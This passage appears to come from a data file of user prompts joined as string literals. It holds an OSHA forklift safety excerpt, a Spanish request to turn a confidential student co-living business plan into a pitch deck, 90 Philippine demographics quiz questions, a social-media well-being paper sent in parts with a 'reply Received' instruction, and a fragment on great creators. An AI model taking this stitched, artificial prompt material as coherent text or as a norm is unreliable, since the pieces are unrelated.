(Specific guards or\nother means that enhance safe\noperations would be determined\nthrough cooperation between the user\nand manufacturer (see ANSI /ITSDF\nB56.1-2005, para.4.5.3, 7.30, and\n7.36).)\nContact the manufacturer to discuss\ninstalling rear post guards or other\nequivalent protections that address the\nunder-ride hazard on existing standup\nforklifts. These posts may be available\nfrom the forklift manufacturer. (Note\nthat modifications and additions which\naffect safe operation shall not be\nperformed by the customer or user\nwithout the manufacturer’s prior written\napproval. 29 CFR 1910.178 (a)(4).)\nEvaluate control methods to assure that\nguards do not limit visibility, present\npinch-point hazards, or add any\nadditional hazard to forklift operators or\nother employees on the site.\nTrain employees to operate forklifts\nsafely as required by paragraph (l) of 29\nCFR 1910.178, including recognizing\nthe hazards of the workplace created by\nthe use of the vehicles.\nRefer to the Powered Industrial\nTrucks (Forklift) eTool as a resource for\ninformation to keep employees who\noperate forklifts safe on the job. The\neTool provides a review of potential\nhazards and a summary of key OSHA \nUpper rack is positioned at the same level as the\noverhead guard, preventing the possibility of an\nunder-ride. The forklift shown in this photograph\nhas an overhead guard and an extended backrest.\nKits with additional posts are other safety features\nthat are available on many forklifts.\nConclusion\nMinimizing the potential for serious or fatal\ninjuries to standup forklift operators is the\nprimary concern of this SHIB. Following the\nsafe work practices recommended in this SHIB,\nand training employees as required in OSHA\nregulations, will help accomplish this goal.\nReferences\nOSHA Integrated Management\nInformation System (IMIS), 1993-\n2005.\nAmerican National Standard\nANSI/ITSDF B56.1-2005, Safety\nStandard for Low Lift and High Lift\nTrucks, Industrial Truck Standards\nDevelopment Foundation.' +'Traducir lo siguiente y desarrollar el script de un pitch deck con la siguiente informacion: \nExecutive Summary\nOpportunity\nProblem Summary\nIt is known that the student housing market has incremented over the decade exponentially and is a market that will keep doubling year after year, in LATAM, given the high demand, it’s getting harder and harder to find an adequate place to live with a student ́s budget. When a student is not looking for a permanent stay or a year-plus lease & usually, they are moving to a new city where they do not know much about the zone.\nSolution Summary\nNEST provides a service to both, local landlords situated near the universities to prospect short- term rentals for their properties which aren ́t providing them any income and usually end up costing them. Students from all over the world are looking for an adequate place to live during their education with the right roommates for an appropriate rate. Through a compatibility test that will run a thorough matching from a sum of profile points, covering everything, from their budget and location to a match percentage for both landlords and current roommates of the property.\nMarket\nOur market consists mainly of young men & women which are mostly foreigner students looking for a room to rent, for a 3–6-month period, close to their college, we are talking about male and female only or co-ed apartments and houses occupied by students from 17 to 27 years old. Currently in Mexico City, one out of nine students are foreigners, looking for a place to rent, and the only one`s renting the rooms are independent landlords or mayor student residentials. That is why we attack two markets: the students which are at a high demand and landlords that have their properties on the leasing market, stocked and costing them negative cash flow on their maintenance and other miscellaneous expenses that come with owning real estate.\nUniversities in the city have housing programs where they need to locate their foreign students and also rent full houses at a high market value and accommodate their students.\n4\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\n Competition\nDIRECT COMPETITORS: NEST will be the first of its kind, at least in Latin America, there are similar concepts in the USA and Canada but involves either, Real Estate Development or the leasing and subletting of a house or various apartments. Our biggest competitor on the market now is roomiesmexico.com, which we ́ll use as a marketplace as well, just like all our competitors to begin our traction and generating massive leads.\nMarket Competitors:\n- https://roomiemexico.com/\n- https://en-mx.roomlala.com/\n- https://www.iroommates.com/\n- https://roomiapp.com/\n- https://www.roomgo.com.mx/ -\nWhy Us?\nNest provides more than just a space to live or a marketplace for roommates and students to find each other for a temporary home, it provides proven compatibility match between: Landlords, Students & Roommates.\nWe ́ll revolutionize the industry by making the whole experience more personal between the roommates that will end up living together. With a quick 3-minute test they will get a customized service that will help them accommodate better in their new home. As for the landlords, our software shall provide a friendly user experience for our management service and transaction management.\nExpectations Forecast Mexico City\nOur “going to market” strategy consists of a pre-campaign starting in December 5th for early showings to measure the demand and prepare for the high demand season in January. We ́ll attack the market by advertising our rooms on all the marketplaces, from Google ́s SEO to Facebook ́s Marketplaces, plus all the property searchers or IDX ́s, like our competitor ́s, while simultaneously bringing all leads to our platform to perform our compatibility test.\n5\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\n The three main sources of income at the beginning are clear, the first and most important: Our service deserves a fee, when addressing any service on the market, the price of $500 MXN is reasonable and any student will gladly pay, even without warrantying their stay at that first room, but to have access to the community and our match platform with property search & matching algorithm. The investigations or “compatibility test”, per room-rate shall not surpass the 6 to 1 ratio.\nThe second source of income is the lease or listing commission fee to the landlords that we ́ll assist occupy their vacant property and rent it for a higher rate than the one they would ́ve gotten at the regular lease market. On the first phase of the project, we ́ll charge 50% of a month ́s rent per room, naturally to the landlord.\nThe third source of income is the management fee, a 15% management fee from each month ́s rent per room to the landlord that acquire this optional but preferred service to help control the variables of the tenants/students.\nFinancial Highlights by Month Mexico City\n9 Room Projection:\n Room #\nRent/Month Rent Fee (50%) Admin Fee Test Fee/Room (15%)\n Gross income/Room\nRoom 1\n$ 5,000.00\n$ 2,500.00\n$ 750.00\n$ 3,000.00\n$ 2,500.00\nRoom 2\n$ 5,500.00\n$ 2,750.00\n$ 825.00\n$ 3,000.00\n $ 2,750.00\nRoom 3\n$ 6,000.00\n$ 3,000.00\n$ 900.00\n$ 3,000.00\n $ 3,000.00\nRoom 4\n$ 6,500.00\n$ 3,250.00\n$ 975.00\n$ 3,000.00\n $ 3,250.00\nRoom 5\n$ 7,000.00\n$ 3,500.00\n$1,050.00\n$ 3,000.00\n $ 3,500.00\n Room 6\n$ 5,500.00\n$ 2,750.00\n$ 825.00\n$ 3,000.00\n$ 2,750.00\nRoom 7\n$ 6,000.00\n$ 3,000.00\n$ 900.00\n$ 3,000.00\n $ 3,000.00\n Room 8\n$ 6,500.00\n$ 3,250.00\n$ 975.00\n$ 3,000.00\n$ 3,250.00\nRoom 9\n$ 7,000.00\n$ 3,500.00\n$1,050.00\n$ 3,000.00\n $ 3,500.00\n TOTAL\n$ 55,000.00\n$ 27,500.00\n$ 8,250.00\n$ 27,000.00\n $ 27,500.00\n 6\n CONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n\n NEST STUDENT CO-LIVING\n$70,000.00 $60,000.00 $50,000.00 $40,000.00 $30,000.00 $20,000.00 $10,000.00\n$-\nOpportunity Problem & Solution\nProblem Worth Solving\nRoom 1 Room 6\nRoom 2 Room 7\nRoom 3 Room 8\nRoom 4 Room 9\nRoom 5 TOTAL\nForecast per month\nFor young people in a big city like CDMX, there are a lot of considerations when looking for a place to live, and your options get very limited, mostly when you are a student without mayor sources of income and have a limited budget. Even after you find a suitable place to live, close to your school and public transportation, perfect location, you must deal with your roommates. It is not easy to live with someone that you know, now imagine someone you don’t know, it’s a big factor for anyone looking for a minimum 3 month stay.\nThe growth of the student market has created a very high demand of short-term rentals, there a various modalities: Family rents a room to a student, student housing, student co-living buildings, roomies rent out rooms and subletting. The problem is they are all spread through different markets, that is how we solve the problem for the landlords.\n7\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n\nNEST STUDENT CO-LIVING\nThere are a lot of Real Estate owners that are losing money with their property stocked in the wrong market, like houses that are looking for a high rental rate, for a one year lease period, and their neighbourhood isn’t as family friendly as it used to be, so no family is willing to pay that high, but multiple students can make up the sum.\nOur Solution\nCurrently there is not a marketplace or hosting platform that offers what we do, being a student- centric platform, that through a friendly 3-minute test, we ́ll identify the best match for any student to live during their studies abroad. Compatibility on: Location, measuring distance from their school, public transportation (if needed), hospitals, shopping centres, gyms, restaurants & bars. Age, careers, hobbies, routines, likes and dislikes, pets, and much more are included on our test created by a psychologist to match different profiles and help the student create a sense of trust when renting a room.\nWe have easily identified the area for opportunity within the market, when we talk about student housing, not all universities share that luxury, which gives light to millions of young first timers looking to rent a room, and the vast majority has no experience whatsoever, thus our opportunity. The student market, for years to come shall be integrated purely by millennials, the most “Tech- Practical” or “Tech-Dependant” generation of all time. By creating an easy user experience throughout the: SEARCH, PAPERWORK and PAYMENT linked to renting a room in any mayor city, we can attract all of them. INCLUDE AMENITIES OUTSOURCED, FITPASS, STREAMS.\n.\n 8\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\n Target Market CDMX\nWorld Market\nStudent housing, like the worldwide scenario, is one of the most interesting parts of co- living environments. Co-living was inspired to create a unique and high-quality student living concept in India by a combined experience in the student housing market in India and overseas. The potential lines in the gap in India’s student housing industry in terms of quality infrastructure and personalized services. In India, the student housing business generates more than $15 billion in revenue yearly and is predicted to rise by multiples. The segment receives a demand from approximately 11 million migrant students on average. Hence, there is a strong need for a professionally managed, tech-enabled student living experience, and that consumers are eager to try out a new value proposition.\nColiving is a new type of housing in which inhabitants share a living space and a common set of interests, values, and goals. It’s a fresh perspective for the millennial age, emphasising openness, collaboration, social networking, and the sharing economy. Nowadays, students prefer co-living accommodations since it provides them with a greater sense of independence. Being away from parents, moving to a new city, and adjusting to life away from home are hard tasks. Students must have the confidence to make their judgments when moving away from home and settling in a new location. Fully furnished rooms, cleaning and maintenance services, utilities, furniture, and other amenities are all included in co-living accommodations. Currently, the real estate business is concentrating its efforts on Mumbai, Delhi, Bengaluru, Pune, Jaipur, and other educational hotspots.\nCo-living, which is sometimes referred to as “an extension of dorm life,” allows renters to rent a private bedroom within a bigger apartment. All co-residents share living rooms, kitchens, and other common areas. Cleaning services, pet care, and cooking tips are frequently included in the package. Co-living differs from room sharing in that a tenant has an individual lease rather than a shared lease and is thus only responsible for their bedroom and bathroom. Co-living is an excellent alternative to an oversupplied luxury multi-family market from the standpoint of landlords and developers. Young renters with disposable income can benefit from co-living situations.\nSWOTS\n9\nCONFIDENTIAL - DO NOT DISSEMINATE. This business plan contains confidential, trade-secret information and is shared only with the understanding that you will not share its contents or ideas with third parties without the express written consent of the plan author.\n \nNEST STUDENT CO-LIVING\nMillennials and other renters are looking for new technologies as they hunt for new ways to rent. Co-living is a fantastic illustration of this because it is a technology-driven service that gives tenants and landlords more options.\nSimilarly, solutions such as lease guarantee or security deposit replacement are allowing millennials to move when and how they choose. Anyone with even a rudimentary understanding of business and economics understands that the sharing economy is the way of the future. The sharing economy is where supply meets demand. It all started when the internet changed the way people communicated. The Internet leveled the playing field and encouraged businesses to digitize their data. The way we gain information and communicate has altered because of search engines and social media.' +'. Based on the report of the Philippines National Demographic in 2017, what is the most common source of drinking water among both urban and rural household?\n2. What percentage of women in the Philippines are currently employed according to the report of the Philippines National Demographic in 2017?\n3. Which region has the least number of women exposed to mass media?\n4. Which of the following is the most popular form of mass media among women based on the report of Philippines National Demographic in 2017?\n5. The following are objectives of the Philippines National Demographic and Health survey except:\n\n6. What is the percentage of women age 15-49 years old have never been married?\n\n7. If Filipino women could choose the family size, what is the ideal number of children for a family based on the Philippines National Demographic report in 2017?\n\n8. Which region has the highest percentage of women who have completed secondary school or more based on Philippines National Demographic report in 2017?\n\n9. What is the most common occupational sector among women in the highest wealth quintile based on Philippines National Demographic report in 2017?\n\n10. What is the median age at first marriage among women age 25-49 years old based on Philippines National Demographic report in 2017??\na. 22.5\n\n11. Which of the following refers to the period of time after the birth of a child and before the resumption of sexual intercourse?\n\n12. Which of the following regions has the highest rate of Teenage childbearing based on the Philippines National Demographic in 2017?\n\n13. Which of the following refers to any birth fewer than or equal to the number of children a woman reported as her ideal number?\n\n14. Which of the following refers to a group of people who have been selected for a survey?\n\n15. What disability or condition in babies is caused by maternal alcohol use in the pre-natal period?\n16. It is an institution in the Philippines that safeguards the intangible heritage since 1995 because they ensured its transmission to the next generation of indigenous peoples who wish to learn skills from various culture bearers.\n17. How many ethnolinguistic groups in the Philippines.\n18. According to the Statistics Time as of 2023, among the 235 countries/territories in the world, the Philippines ranked 13th in population with an estimated population of \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n19. Increased access to economic opportunities for MSMEs, cooperatives, and Overseas Filipino (OFs) is crucial if more business activities are to be created to reduce inequality and poverty. What does MSMEs mean?\n20. One of the important parts of the Philippines Development Plan (PDP) is to ensure that all Filipinos, especially the poor and underserved, will have long, healthy, and productive lives; lifelong learning opportunities; and improved income-earning ability. What is this plan?\n21. Which of the following is not included as the vulnerable people in the society?\n22. The number of HIV cases detected per day rose from 4 in 2010 to 26 in 2016 and majority of the cases can be found among 15-34 years old and in highly urbanized areas in the Philippines, which of the following regions with the highest number of HIV cases?\n23. It is an act (RA 10687) ensures and develops a policy to rationalize tuition and school fees for higher education. \n24. In the Philippines, a \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_ is a person below 18 years of age but is unable to fully care for himself from abuse neglect, cruelty, exploitation, or discrimination because of a physical or mental disability or condition.”\n25. There have been numerous programs to eliminate child labor, and all these initiatives were combined into one program called HELP ME which stands for H-health, E-education and training, L-livelihood, P-prevention, protection and prosecution and ME-\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n26. Republic Act 11148, also known as “Kalusugan at Nutrisyun ng Mag-Nanay Act”, aims to support the nutrition and health of both mother and child by providing funds for the said purpose. How many days will this program cover?\n27. In the acronym LGBTQIA, what does the letter I and A stand for?\n28. The old name of the government agency responsible for the policy-making, planning coordinating and monitoring of programs related to population is PopCom. This means \\_\n29. The Commission on Population used to be under the Department of Health. Now, it is under the National Economic Development Authority but with a new name. What is it?\n30. The Department of Health issued Administrative Order 2018-0014 which is the Strategic Framework and Guidelines for implementing FOURmula one + for health. These covers the four Strategic pillars namely Financing, Regulation, Service Delivery and \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n31. In the area of child health, which among the diseases is a common cause of death in young Filipino children?\n\n32. According to UNICEF survey conducted in the year 2018, which among the following is the leading cause of child illness.\n\n33. According to the United Nations Office for the Coordination of Humanitarian Affairs survey in 2018, what country has the world’s largest humanitarian crisis?\n\n34. In the realm of contraceptive knowledge and use, according to the survey, which among the contraceptive method is mostly known and commonly used?\n\n35. In a survey conducted among married women age 15-49 in the Philippines, which region has the highest prevalence of modern contraceptive use?\n\n36. Term which indicates that women were informed at the time they started the current episode of method use about the method’s side effects, about what to do if they experience side effects, about what to do if they experience side effects, and about other methods they could use.\n\n37. It pertains to the probability of dying between birth and the first birthday.\n\n38. It pertains to the probability of dying within the first month of life.\n\n39. Responsible Parenthood and Reproductive Health Act of 2012 is otherwise known as \\_\\_\\_\\_?\n\n40. According to the survey among married women, how many percent are using a method of contraception? \n\n41. Among the regions in our country, which has the highest percentage of caesarean section delivery?\n\n42. This is a program initiated by Population Commission with its goal to prevent teen pregnancy and reduce the prevalence of sexually transmitted infections using online and mobile platforms.\n\n43. Philippine HIV and AIDS Policy Act was one of the most critical policy interventions accomplished in 2018. This new act seeks to strengthen government response to the growing number of HIV/AIDS cases in the country. This is law is otherwise known as \\_\\_\\_\\_\\_\\_.\n\n44. On the governments’ effort to eliminate violence against women and children, which among the following laws has the highest recorded cases base latest survey conducted.\n\n45. Human Immunodeficiency Virus (HIV) in the Philippines according to the latest data shows that this disease is primarily transmitted through various means. Which among the choices has the highest rate?\n\n46. The first medium-term plan that seeks to lay a stronger foundation for more inclusive growth, a high-trust and resilient society and a globally competitive knowledge economy.\n\n47. Ambisyon 2040 is the collective long-term vision and aspirations of the Filipino people for themselves and for the country in the next \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n48. The third largest investing country worldwide.\n\n49. In 2016, the Permanent Court of Arbitration ruled in favor of the Philippines on the case of the West Philippine Sea.\n\n50. What is the life expectancy at birth in Asia by the year 2050?\n\n51. \\_\\_\\_\\_\\_\\_\\_\\_\\_ is the ability of machines and systems to acquire and apply knowledge and carry out intelligent behavior.\n\n52. The Philippines most populous regions are \\_\\_\\_\\_\\_.\n\n53. In 2020 Philippine’s population was 109.6 million. What is the Philippines’ population projected to be in 2045?\n\n54. How many languages are spoken in the Philippines.\n\n55. Ambisyon Natin 2040 represents the vision and aspirations of the Filipino people for a Matatag, Panatag na Buhay at \\_\\_\\_\\_.\n\n56. What region in the Philippines has the highest Gross Regional Domestic Product (GRDP)?\n\n57. The Philippine Development Plan target to reduce poverty incidence from 21.6% in 2015 to \\_\\_\\_\\_\\_ by 2022.\n\n58. What year has been declared as the hottest year on record with the global average temperature of 1.1 degree Celsius?\n\n59. The DOST has produced high-resolution flood hazard maps through their Project NOAH. What is the meaning of NOAH.\n\n60. Who is the president who approved and adopt the Ambisyon 2040 by signing Executive Order No. 5.\n\n61. What does the acronym CARP stand for?\n\n62. What does the acronym DILG stand for?\n\n63. Which pillar focuses on increasing the country’s potential economic growth?\n\n64. Which Philippine Development Plan pillar is committed to set the foundation of building a high-trust society?\n\n65. What is the first micro-satellite launched into space in 2016 by the Philippine government as part of the PHL-Microsat program?\n66. What program promotes greenspaces in cities?\n67. What center provides technical services and enabling environment for interdisciplinary and collaborative in various nanotechnology applications?\n\n68. What project was initiated to help manage the risks of natural hazards and disasters?\n\n69. Which facility combines fundamental and applied research to develop health diagnostics, therapeutics, DNA forensics, preventive products, and improved crop varieties?\n\n70. Which facility addresses the requirements for producing high-quality and globally acceptable drugs?\n\n71. Which law aims to institutionalize the development of an effective and sustainable forest management strategy based on the allocations of forestland uses?\n\n72. Which act streamlines standards, processes, and regulations for property rights, valuation, and taxation?\n\n73. What was established through a collaboration between the local government of Davao City and IBM Philippines, creating a dashboard allowing authorized government agencies to use analytics software?\n\n74. Which act seeks to promote demand-side management and incentivizes energy efficiency projects?\n\n75. Which policy aims to help achieve a safe, secure, competitive, dependable, integrated, environmentally sustainable, and people-oriented Philippine transportation system?\n\n76. It is recommended that infants be exclusively breastfed in the first \\_\\_\\_\\_\\_ months of their life.\n\n77. Most vulnerable transitional stage of infants to become undernourished as infants starts to need complementary feeding.\n\n78. What does the acronym NHIP stands for under the National Demographic and health survey means?\n\n79. In the measurement of violence, throwing something by a husband/partner to his wife/partner is a \\_\\_\\_\\_?\n\n80. \\_\\_\\_\\_% of women age 15-49 have heard of AIDS.\n\n81. Key findings in early initiation breastfeeding is \\_\\_\\_\\_\\_\\_\\_\\_\\_.\n\n82. The percentage of newborn infants ever breastfed is generally high across all background characteristics.\n\n83. Women in rural are slightly more likely to hold discriminatory attitudes towards people living with HIV that women in urban areas.\n\n84. By region, women living in \\_\\_\\_\\_\\_\\_ are most likely to have attitudes justifying wife beating under atleast one specific circumstance.\n\n85. Among ever-married women who have experienced physical violence, the most common perpetrators of violence were \\_\\_\\_\\_\\_\\_\\_.\n\n86. The most aware region of Anti-Violence Barangay Protection Order from 2017 data is \\_\\_\\_\\_.\n\n87. Violence by women against their husband/partner because of their educational background is high in \\_\\_\\_\\_\\_\\_ category.\n88. According to table 14.2 of Women’s empowerment, person who decides how the wife’s cash earnings are used under the age 15-19 is \\_\\_\\_\\_.\n\n89. In women’s participation in decision making, the percentage of married women age 15-45 participating in women’s own health care is \\_\\_\\_\\_\\_\\_.\n\n90. A percentage of 98.2 manifest to never-married women who have never had sexual intercourse according to age background characteristics \\_\\_\\_\\_\\_\\_.' +'Next paragraph:\n\n(Respond with "Received" when it is received. Do not provide any other text.)\nOne of the relevant perspectives worth considering is that provided by social capital theory, which is adopted in this paper. Social capital theory has previously been used to study how social media usage affects psychological well-being (e.g., Bano et al., 2019). However, extant literature has so far presented only partial models of associations that, although statistically acceptable and contributing to the understanding of the scope of social networks, do not provide as comprehensive a vision of the phenomenon as that proposed within this paper. Furthermore, the contradictory views, suggesting both negative (e.g., Chotpitayasunondh and Douglas, 2016; Van Den Eijnden et al., 2016; Jiao et al., 2017; Whaite et al., 2018; Choi and Noh, 2019; Chatterjee, 2020) and positive impacts (Carlson et al., 2016; Chen and Li, 2017; Twenge and Campbell, 2019) of social media on psychological well-being, have not been adequately explored.\n\nGiven this research gap, this paper\'s main objective is to shed light on the effect of social media use on psychological well-being. As explained in detail in the next section, this paper explores the mediating effect of bonding and bridging social capital. To provide a broad view of the phenomenon, it also considers several variables highlighted in the literature as affecting the relationship between social media usage and psychological well-being, namely smartphone addiction, social isolation, and phubbing. The paper utilizes a quantitative study conducted in Mexico, comprising 940 social media users, and uses structural equation modeling (SEM) to test a set of research hypotheses.\n\nThis article provides several contributions. First, it adds to existing literature regarding the effect of social media use on psychological well-being and explores the contradictory indications provided by different approaches. Second, it proposes a conceptual model that integrates complementary perspectives on the direct and indirect effects of social media use. Third, it offers empirical evidence and robust statistical analysis that demonstrates that both positive and negative effects coexist, helping resolve the inconsistencies found so far in the literature. Finally, this paper provides insights on how to help reduce the potential negative effects of social media use, as it demonstrates that, through bridging and bonding social capital, social media usage positively impacts psychological well-being. Overall, the article offers valuable insights for academics, practitioners, and society in general.\n\nThe remainder of this paper is organized as follows. Section Literature Review presents a literature review focusing on the factors that explain the impact of social media usage on psychological well-being. Based on the literature review, a set of hypotheses are defined, resulting in the proposed conceptual model, which includes both the direct and indirect effects of social media usage on psychological well-being. Section Research Methodology explains the methodological procedures of the research, followed by the presentation and discussion of the study\'s results in section Results. Section Discussion is dedicated to the conclusions and includes implications, limitations, and suggestions for future research.\n\nLiterature Review\nPutnam (1995, p. 664–665) defined social capital as “features of social life – networks, norms, and trust – that enable participants to act together more effectively to pursue shared objectives.” Li and Chen (2014, p. 117) further explained that social capital encompasses “resources embedded in one\'s social network, which can be assessed and used for instrumental or expressive returns such as mutual support, reciprocity, and cooperation.”\n\nPutnam (1995, 2000) conceptualized social capital as comprising two dimensions, bridging and bonding, considering the different norms and networks in which they occur. Bridging social capital refers to the inclusive nature of social interaction and occurs when individuals from different origins establish connections through social networks. Hence, bridging social capital is typically provided by heterogeneous weak ties (Li and Chen, 2014). This dimension widens individual social horizons and perspectives and provides extended access to resources and information. Bonding social capital refers to the social and emotional support each individual receives from his or her social networks, particularly from close ties (e.g., family and friends).\n\nOverall, social capital is expected to be positively associated with psychological well-being (Bano et al., 2019). Indeed, Williams (2006) stressed that interaction generates affective connections, resulting in positive impacts, such as emotional support. The following sub-sections use the lens of social capital theory to explore further the relationship between the use of social media and psychological well-being.\n\nSocial Media Use, Social Capital, and Psychological Well-Being\nThe effects of social media usage on social capital have gained increasing scholarly attention, and recent studies have highlighted a positive relationship between social media use and social capital (Brown and Michinov, 2019; Tefertiller et al., 2020). Li and Chen (2014) hypothesized that the intensity of Facebook use by Chinese international students in the United States was positively related to social capital forms. A longitudinal survey based on the quota sampling approach illustrated the positive effects of social media use on the two social capital dimensions (Chen and Li, 2017). Abbas and Mesch (2018) argued that, as Facebook usage increases, it will also increase users\' social capital. Karikari et al. (2017) also found positive effects of social media use on social capital. Similarly, Pang (2018) studied Chinese students residing in Germany and found positive effects of social networking sites\' use on social capital, which, in turn, was positively associated with psychological well-being. Bano et al. (2019) analyzed the 266 students\' data and found positive effects of WhatsApp use on social capital forms and the positive effect of social capital on psychological well-being, emphasizing the role of social integration in mediating this positive effect.\n\nKim and Kim (2017) stressed the importance of having a heterogeneous network of contacts, which ultimately enhances the potential social capital. Overall, the manifest and social relations between people from close social circles (bonding social capital) and from distant social circles (bridging social capital) are strengthened when they promote communication, social support, and the sharing of interests, knowledge, and skills, which are shared with other members. This is linked to positive effects on interactions, such as acceptance, trust, and reciprocity, which are related to the individuals\' health and psychological well-being (Bekalu et al., 2019), including when social media helps to maintain social capital between social circles that exist outside of virtual communities (Ellison et al., 2007).\n\nGrounded on the above literature, this study proposes the following hypotheses:\n\nH1a: Social media use is positively associated with bonding social capital.\n\nH1b: Bonding social capital is positively associated with psychological well-being.\n\nH2a: Social media use is positively associated with bridging social capital.\n\nH2b: Bridging social capital is positively associated with psychological well-being.\n\nSocial Media Use, Social Isolation, and Psychological Well-Being\nSocial isolation is defined as “a deficit of personal relationships or being excluded from social networks” (Choi and Noh, 2019, p. 4). The state that occurs when an individual lacks true engagement with others, a sense of social belonging, and a satisfying relationship is related to increased mortality and morbidity (Primack et al., 2017). Those who experience social isolation are deprived of social relationships and lack contact with others or involvement in social activities (Schinka et al., 2012). Social media usage has been associated with anxiety, loneliness, and depression (Dhir et al., 2018; Reer et al., 2019), and social isolation (Van Den Eijnden et al., 2016; Whaite et al., 2018). However, some recent studies have argued that social media use decreases social isolation (Primack et al., 2017; Meshi et al., 2020). Indeed, the increased use of social media platforms such as Facebook, WhatsApp, Instagram, and Twitter, among others, may provide opportunities for decreasing social isolation. For instance, the improved interpersonal connectivity achieved via videos and images on social media helps users evidence intimacy, attenuating social isolation (Whaite et al., 2018).\n\nChappell and Badger (1989) stated that social isolation leads to decreased psychological well-being, while Choi and Noh (2019) concluded that greater social isolation is linked to increased suicide risk. Schinka et al. (2012) further argued that, when individuals experience social isolation from siblings, friends, family, or society, their psychological well-being tends to decrease. Thus, based on the literature cited above, this study proposes the following hypotheses:\n\nH3a: Social media use is significantly associated with social isolation.\n\nH3b: Social isolation is negatively associated with psychological well-being.\n\nSocial Media Use, Smartphone Addiction, Phubbing, and Psychological Well-Being\nSmartphone addiction refers to “an individuals\' excessive use of a smartphone and its negative effects on his/her life as a result of his/her inability to control his behavior” (Gökçearslan et al., 2018, p. 48). Regardless of its form, smartphone addiction results in social, medical, and psychological harm to people by limiting their ability to make their own choices (Chotpitayasunondh and Douglas, 2016). The rapid advancement of information and communication technologies has led to the concept of social media, e-games, and also to smartphone addiction (Chatterjee, 2020). The excessive use of smartphones for social media use, entertainment (watching videos, listening to music), and playing e-games is more common amongst people addicted to smartphones (Jeong et al., 2016). In fact, previous studies have evidenced the relationship between social use and smartphone addiction (Salehan and Negahban, 2013; Jeong et al., 2016; Swar and Hameed, 2017). In line with this, the following hypotheses are proposed:\n\nH4a: Social media use is positively associated with smartphone addiction.\n\nH4b: Smartphone addiction is negatively associated with psychological well-being.\n\nWhile smartphones are bringing individuals closer, they are also, to some extent, pulling people apart (Tonacci et al., 2019). For instance, they can lead to individuals ignoring others with whom they have close ties or physical interactions; this situation normally occurs due to extreme smartphone use (i.e., at the dinner table, in meetings, at get-togethers and parties, and in other daily activities). This act of ignoring others is called phubbing and is considered a common phenomenon in communication activities (Guazzini et al., 2019; Chatterjee, 2020). Phubbing is also referred to as an act of snubbing others (Chatterjee, 2020). This term was initially used in May 2012 by an Australian advertising agency to describe the “growing phenomenon of individuals ignoring their families and friends who were called phubbee (a person who is a recipients of phubbing behavior) victim of phubber (a person who start phubbing her or his companion)” (Chotpitayasunondh and Douglas, 2018). Smartphone addiction has been found to be a determinant of phubbing (Kim et al., 2018). Other recent studies have also evidenced the association between smartphones and phubbing (Chotpitayasunondh and Douglas, 2016; Guazzini et al., 2019; Tonacci et al., 2019; Chatterjee, 2020). Vallespín et al. (2017) argued that phubbing behavior has a negative influence on psychological well-being and satisfaction. Furthermore, smartphone addiction is considered responsible for the development of new technologies. It may also negatively influence individual\'s psychological proximity (Chatterjee, 2020). Therefore, based on the above discussion and calls for the association between phubbing and psychological well-being to be further explored, this study proposes the following hypotheses:\n\nH5: Smartphone addiction is positively associated with phubbing.\n\nH6: Phubbing is negatively associated with psychological well-being.\n\nIndirect Relationship Between Social Media Use and Psychological Well-Being\nBeyond the direct hypotheses proposed above, this study investigates the indirect effects of social media use on psychological well-being mediated by social capital forms, social isolation, and phubbing. As described above, most prior studies have focused on the direct influence of social media use on social capital forms, social isolation, smartphone addiction, and phubbing, as well as the direct impact of social capital forms, social isolation, smartphone addiction, and phubbing on psychological well-being. Very few studies, however, have focused on and evidenced the mediating role of social capital forms, social isolation, smartphone addiction, and phubbing derived from social media use in improving psychological well-being (Chen and Li, 2017; Pang, 2018; Bano et al., 2019; Choi and Noh, 2019). Moreover, little is known about smartphone addiction\'s mediating role between social media use and psychological well-being. Therefore, this study aims to fill this gap in the existing literature by investigating the mediation of social capital forms, social isolation, and smartphone addiction. Further, examining the mediating influence will contribute to a more comprehensive understanding of social media use on psychological well-being via the mediating associations of smartphone addiction and psychological factors. Therefore, based on the above, we propose the following hypotheses (the conceptual model is presented in Figure 1):\n\nH7: (a) Bonding social capital; (b) bridging social capital; (c) social isolation; and (d) smartphone addiction mediate the relationship between social media use and psychological well-being.\n\nFigure 1\nwww.frontiersin.org\nFIGURE 1. Conceptual model.\n\nResearch Methodology\nSample Procedure and Online Survey\nThis study randomly selected students from universities in Mexico. We chose University students for the following reasons. First, students are considered the most appropriate sample for e-commerce studies, particularly in the social media context (Oghazi et al., 2018; Shi et al., 2018). Second, University students are considered to be frequent users and addicted to smartphones (Mou et al., 2017; Stouthuysen et al., 2018). Third, this study ensured that respondents were experienced, well-educated, and possessed sufficient knowledge of the drawbacks of social media and the extreme use of smartphones. A total sample size of 940 University students was ultimately achieved from the 1,500 students contacted, using a convenience random sampling approach, due both to the COVID-19 pandemic and budget and time constraints. Additionally, in order to test the model, a quantitative empirical study was conducted, using an online survey method to collect data. This study used a web-based survey distributed via social media platforms for two reasons: the COVID-19 pandemic; and to reach a large number of respondents (Qalati et al., 2021). Furthermore, online surveys are considered a powerful and authenticated tool for new research (Fan et al., 2021), while also representing a fast, simple, and less costly approach to collecting data (Dutot and Bergeron, 2016).' +'Next content \n\nTHE GREAT CREATORS Great creators are people who have dedicated part or all of their life\nto a personal life’s work that is particularly original and innovative.\nPablo Ruiz y Picasso was passionate about new aesthetic forms throughout his life, Albert Einstein lived for the theory of relativity, Chopin, Berlioz and Beethoven dedicated their lives to music. The American choreographer, Twyla Tharp continuously devised new movements and Balzac attempted to capture the human condition.\nThese exceptional personalities all share a number of common 